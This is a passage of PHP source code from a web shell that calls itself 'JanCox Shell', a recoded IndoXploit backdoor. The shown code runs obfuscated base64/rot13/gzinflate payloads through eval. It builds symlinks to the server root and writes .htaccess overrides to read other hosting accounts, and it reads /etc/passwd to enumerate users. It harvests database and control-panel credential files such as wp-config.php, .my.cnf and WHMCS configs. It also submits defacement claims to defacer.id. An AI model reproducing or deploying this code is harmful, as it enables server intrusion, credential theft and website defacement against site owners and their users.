  735. eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9FeJtGhPaygyLZ5B6jc5AaHORP/fdf5IoXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5Nc1ymWWmWpZdRm9FXWOGqzguTlue4Utjpa+p53a411OCIcKZFCxqGVUES63F8XGSylAx3jr+oATX45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscWaPZpI0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyADr2ynAJKJgpiEaeTrCvLaDIA/J0OCD47FswS6Yi85pEzzrYVoNF2ujEg0OX0jJ1duvpWlW+hORmhxQIElNvPuS/inBksxEA98JsNaPjRIiU9civj2FpYL5jhElwWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmiUx6SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QayIrWnG3A59y6ibiMjrDMd9OI+9UfcyU9QsvB3W5VwT4eDHam5xc85F8ACd40q3EvfeMxADe3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8Y097nXM6vJACLfvCEct6IWaMfGxj5VXOGSwk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCcCQcELBxy9Y8DbOjFY2nF26JjF88lC3zmYZHEJ8hYkTFaJFtp7j3dpzPvfdKxZKYx9j1CWkFJfuSbvZMzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYIaupzSEqntthpHSeYK2aXmfYEWLxqojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsI//AU='))))));
  736. } elseif($_GET['do'] == 'loghunter')
  737. {eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNrXEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKRYD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVGhoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2fz31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJdfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzHY2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/uijb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNcjAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nwmR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SOLzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsLX/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwiZh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1rPK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVCGfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));}
  738. elseif($_GET['do'] == 'metu') {
  739.  
  740.  
  741. echo '<form action="?dir=$dir&do=metu" method="post">';
  742. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  743. echo 'Byee !';
  744.  
  745. }
  746. elseif($_GET['do'] == 'about') {
  747.  
  748. echo '<center>JanCox Shell<hr>IndoXploit Shell Recoded By 0x1999 -> Saiia Edit Lagy :(<br>For More Script Visit <a href="http://cr1p.blogspot.com/">Here</a>';
  749.  
  750. }
  751. elseif($_GET['do'] == 'symlink') {
  752. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  753. $d0mains = @file("/etc/named.conf");
  754. ##httaces
  755. if($d0mains){
  756. @mkdir("cox_sym",0777);
  757. @chdir("cox_sym");
  758. @exe("ln -s / root");
  759. $file3 = 'Options Indexes FollowSymLinks
  760. DirectoryIndex jancox.htm
  761. AddType text/plain .php
  762. AddHandler text/plain .php
  763. Satisfy Any';
  764. $fp3 = fopen('.htaccess','w');
  765. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  766. echo "
  767. <table align=center border=1 style='width:60%;border-color:#333333;'>
  768. <tr>
  769. <td align=center><font size=2>S. No.</font></td>
  770. <td align=center><font size=2>Domains</font></td>
  771. <td align=center><font size=2>Users</font></td>
  772. <td align=center><font size=2>Symlink</font></td>
  773. </tr>";
  774. $dcount = 1;
  775. foreach($d0mains as $d0main){
  776. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  777. flush();
  778. if(strlen(trim($domains[1][0])) > 2){
  779. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  780. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  781. <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
  782. <td>".$user['name']."</td>
  783. <td><a href='$full/cox_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
  784. flush();
  785. $dcount++;}}}
  786. echo "</table>";
  787. }else{
  788. $TEST=@file('/etc/passwd');
  789. if ($TEST){
  790. @mkdir("cox_sym",0777);
  791. @chdir("cox_sym");
  792. exe("ln -s / root");
  793. $file3 = 'Options Indexes FollowSymLinks
  794. DirectoryIndex jancox.htm
  795. AddType text/plain .php
  796. AddHandler text/plain .php
  797. Satisfy Any';
  798. $fp3 = fopen('.htaccess','w');
  799. $fw3 = fwrite($fp3,$file3);
  800. @fclose($fp3);
  801. echo "
  802. <table align=center border=1><tr>
  803. <td align=center><font size=3>S. No.</font></td>
  804. <td align=center><font size=3>Users</font></td>
  805. <td align=center><font size=3>Symlink</font></td></tr>";
  806. $dcount = 1;
  807. $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  808. while(!feof($file)){
  809. $s = fgets($file);
  810. $matches = array();
  811. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  812. $matches = str_replace("home/","",$matches[1]);
  813. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  814. continue;
  815. echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  816. <td align=center><font class=txt>" . $matches . "</td>";
  817. echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  818. $dcount++;}fclose($file);
  819. echo "</table>";}else{if($os != "Windows"){@mkdir("cox_sym",0777);@chdir("cox_sym");@exe("ln -s / root");$file3 = '
  820. Options Indexes FollowSymLinks
  821. DirectoryIndex jancox.htm
  822. AddType text/plain .php
  823. AddHandler text/plain .php
  824. Satisfy Any
  825. ';
  826. $fp3 = fopen('.htaccess','w');
  827. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  828. echo "
  829. <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
  830. <table align=center border=1><tr>
  831. <td align=center><font size=3>ID</font></td>
  832. <td align=center><font size=3>Users</font></td>
  833. <td align=center><font size=3>Symlink</font></td></tr>";
  834. $temp = "";$val1 = 0;$val2 = 1000;
  835. for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  836. if ($uid)$temp .= join(':',$uid)."\n";}
  837. echo '<br/>';$temp = trim($temp);$file5 =
  838. fopen("test.txt","w");
  839. fputs($file5,$temp);
  840. fclose($file5);$dcount = 1;$file =
  841. fopen("test.txt", "r") or exit("Unable to open file!");
  842. while(!feof($file)){$s = fgets($file);$matches = array();
  843. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
  844. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  845. continue;
  846. echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  847. <td align=center><font class=txt>" . $matches . "</td>";
  848. echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  849. $dcount++;}
  850. fclose($file);
  851. echo "</table></div></center>";unlink("test.txt");
  852. } else
  853. echo "<center><font size=3>Cannot create Symlink</font></center>";
  854. }
  855. }
  856. }
  857. elseif($_GET['do'] == 'defacerid') {
  858. echo "<center><form method='post'>
  859. <u>Defacer</u>: <br>
  860. <input type='text' name='hekel' size='50' value='Monkey B Luffy'><br>
  861. <u>Team</u>: <br>
  862. <input type='text' name='tim' size='50' value=''><br>
  863. <u>Domains</u>: <br>
  864. <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
  865. <input type='submit' name='go' value='Submit' style='width: 450px;'>
  866. </form>";
  867. $site = explode("\r\n", $_POST['sites']);
  868. $go = $_POST['go'];
  869. $hekel = $_POST['hekel'];
  870. $tim = $_POST['tim'];
  871. if($go) {
  872. echo "<a href='https://www.defacer.id/archive.html' target='blank'>Archive</a> - ";
  873. echo "<a href='https://www.defacer.id/special.html' target='blank'>Special Archive</a> - ";
  874. echo "<a href='https://www.defacer.id/onhold.html' target='blank'>Onhold Archive</a><br><br>";
  875. foreach($site as $sites) {
  876. $zh = $sites;
  877. $form_url = "https://www.defacer.id/notify";
  878. $data_to_post = array();
  879. $data_to_post['attacker'] = "$hekel";
  880. $data_to_post['team'] = "$tim";
  881. $data_to_post['poc'] = 'SQL Injection';
  882. $data_to_post['url'] = "$zh";
  883. $curl = curl_init();
  884. curl_setopt($curl,CURLOPT_URL, $form_url);
  885. curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
  886. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
  887. curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
  888. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  889. curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
  890. $result = curl_exec($curl);
  891. echo $result;
  892. curl_close($curl);
  893. echo "<br>";
  894. }
  895. }
  896. }
  897.  
  898. elseif($_GET['do'] == 'config') {
  899. if($_POST){
  900. $passwd = $_POST['passwd'];
  901. mkdir("cox_config", 0777);
  902. $isi_htc = "Options all\nRequire None\nSatisfy Any";
  903. $htc = fopen("cox_config/.htaccess","w");
  904. fwrite($htc, $isi_htc);
  905. preg_match_all('/(.*?):x:/', $passwd, $user_config);
  906. foreach($user_config[1] as $user_cox) {
  907. $user_config_dir = "/home/$user_cox/public_html/";
  908. if(is_readable($user_config_dir)) {
  909. $grab_config = array(
  910. "/home/$user_cox/.my.cnf" => "cpanel",
  911. "/home/$user_cox/.accesshash" => "WHM-accesshash",
  912. "/home/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  913. "/home/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  914. "/home/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  915. "/home/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  916. "/home/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  917. "/home/$user_cox/public_html/forum/config.php" => "phpBB",
  918. "/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  919. "/home/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  920. "/home/$user_cox/public_html/app/etc/local.xml" => "Magento",
  921. "/home/$user_cox/public_html/admin/config.php" => "OpenCart",
  922. "/home/$user_cox/public_html/slconfig.php" => "Sitelok",
  923. "/home/$user_cox/public_html/application/config/database.php" => "Ellislab",
  924. "/home/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  925. "/home/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  926. "/home/$user_cox/public_html/central/configuration.php" => "WHM Central",
  927. "/home/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  928. "/home/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  929. "/home/$user_cox/public_html/submitticket.php" => "WHMCS",
  930. "/home/$user_cox/public_html/configuration.php" => "Joomla",
  931. "/home/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  932. "/home/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  933. "/home/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  934. "/home/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  935. "/home/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  936. "/home/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  937. "/home/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  938. "/home/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  939. "/home/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  940. "/home/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  941. "/home/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  942. "/home/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  943. "/home/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  944. "/home/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  945. "/home/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  946. "/home/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  947. "/home/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  948. "/home/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  949. "/home/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  950. "/home/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  951. "/home/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  952. "/home/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  953. "/home/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  954. "/home/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  955. "/home/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  956. "/home/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  957. "/home/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  958. "/home/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  959. "/home/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  960. "/home/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  961. "/home/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  962. "/home/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  963. "/home/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  964. "/home/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  965. "/home/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  966. "/home/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  967. "/home/$user_cox/public_html/wp-config.php" => "WordPress",
  968. "/home/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  969. "/home/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  970. "/home/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  971. "/home/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  972. "/home/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  973. "/home/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  974. "/home/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  975. "/home/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  976. "/home/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  977. "/home/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  978. "/home/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  979. "/home/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  980. "/home/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  981. "/home/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  982. "/home/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  983. "/home/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  984. "/home/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  985. "/home/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  986. "/home/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  987. "/home/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  988. "/home/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  989. "/home/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  990. "/home/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  991. "/home/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  992. "/home/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  993. "/home/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  994. "/home/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  995. "/home/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  996. "/home/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  997. "/home/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  998. "/home/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  999. "/home/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1000. "/home/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1001. "/home/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1002. "/home/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1003. "/home/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  1004. "/home1/$user_cox/.my.cnf" => "cpanel",
  1005. "/home1/$user_cox/.accesshash" => "WHM-accesshash",
  1006. "/home1/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  1007. "/home1/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  1008. "/home1/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1009. "/home1/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  1010. "/home1/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1011. "/home1/$user_cox/public_html/forum/config.php" => "phpBB",
  1012. "/home1/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1013. "/home1/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1014. "/home1/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1015. "/home1/$user_cox/public_html/admin/config.php" => "OpenCart",
  1016. "/home1/$user_cox/public_html/slconfig.php" => "Sitelok",
  1017. "/home1/$user_cox/public_html/application/config/database.php" => "Ellislab",
  1018. "/home1/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  1019. "/home1/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1020. "/home1/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1021. "/home1/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1022. "/home1/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1023. "/home1/$user_cox/public_html/submitticket.php" => "WHMCS",
  1024. "/home1/$user_cox/public_html/configuration.php" => "Joomla",
  1025. "/home1/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1026. "/home1/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1027. "/home1/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  1028. "/home1/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1029. "/home1/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1030. "/home1/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1031. "/home1/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1032. "/home1/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1033. "/home1/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1034. "/home1/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1035. "/home1/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1036. "/home1/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1037. "/home1/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  1038. "/home1/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1039. "/home1/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1040. "/home1/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1041. "/home1/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1042. "/home1/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1043. "/home1/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1044. "/home1/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1045. "/home1/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1046. "/home1/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1047. "/home1/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1048. "/home1/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1049. "/home1/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1050. "/home1/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1051. "/home1/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1052. "/home1/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1053. "/home1/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1054. "/home1/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1055. "/home1/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1056. "/home1/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1057. "/home1/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1058. "/home1/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1059. "/home1/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1060. "/home1/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  1061. "/home1/$user_cox/public_html/wp-config.php" => "WordPress",
  1062. "/home1/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1063. "/home1/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1064. "/home1/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  1065. "/home1/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1066. "/home1/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1067. "/home1/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1068. "/home1/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1069. "/home1/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1070. "/home1/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1071. "/home1/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1072. "/home1/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1073. "/home1/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1074. "/home1/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1075. "/home1/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1076. "/home1/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1077. "/home1/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1078. "/home1/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1079. "/home1/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1080. "/home1/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1081. "/home1/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1082. "/home1/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1083. "/home1/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1084. "/home1/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1085. "/home1/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1086. "/home1/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1087. "/home1/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1088. "/home1/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1089. "/home1/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1090. "/home1/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1091. "/home1/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1092. "/home1/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1093. "/home1/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1094. "/home1/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1095. "/home1/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1096. "/home1/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1097. "/home1/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  1098. "/home2/$user_cox/.my.cnf" => "cpanel",
  1099. "/home2/$user_cox/.accesshash" => "WHM-accesshash",
  1100. "/home2/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  1101. "/home2/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  1102. "/home2/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1103. "/home2/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  1104. "/home2/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1105. "/home2/$user_cox/public_html/forum/config.php" => "phpBB",
  1106. "/home2/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1107. "/home2/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1108. "/home2/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1109. "/home2/$user_cox/public_html/admin/config.php" => "OpenCart",
  1110. "/home2/$user_cox/public_html/slconfig.php" => "Sitelok",
  1111. "/home2/$user_cox/public_html/application/config/database.php" => "Ellislab",
  1112. "/home2/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  1113. "/home2/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1114. "/home2/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1115. "/home2/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1116. "/home2/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1117. "/home2/$user_cox/public_html/submitticket.php" => "WHMCS",
  1118. "/home2/$user_cox/public_html/configuration.php" => "Joomla",
  1119. "/home2/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1120. "/home2/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1121. "/home2/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  1122. "/home2/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1123. "/home2/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1124. "/home2/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1125. "/home2/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1126. "/home2/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1127. "/home2/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1128. "/home2/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1129. "/home2/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1130. "/home2/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1131. "/home2/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
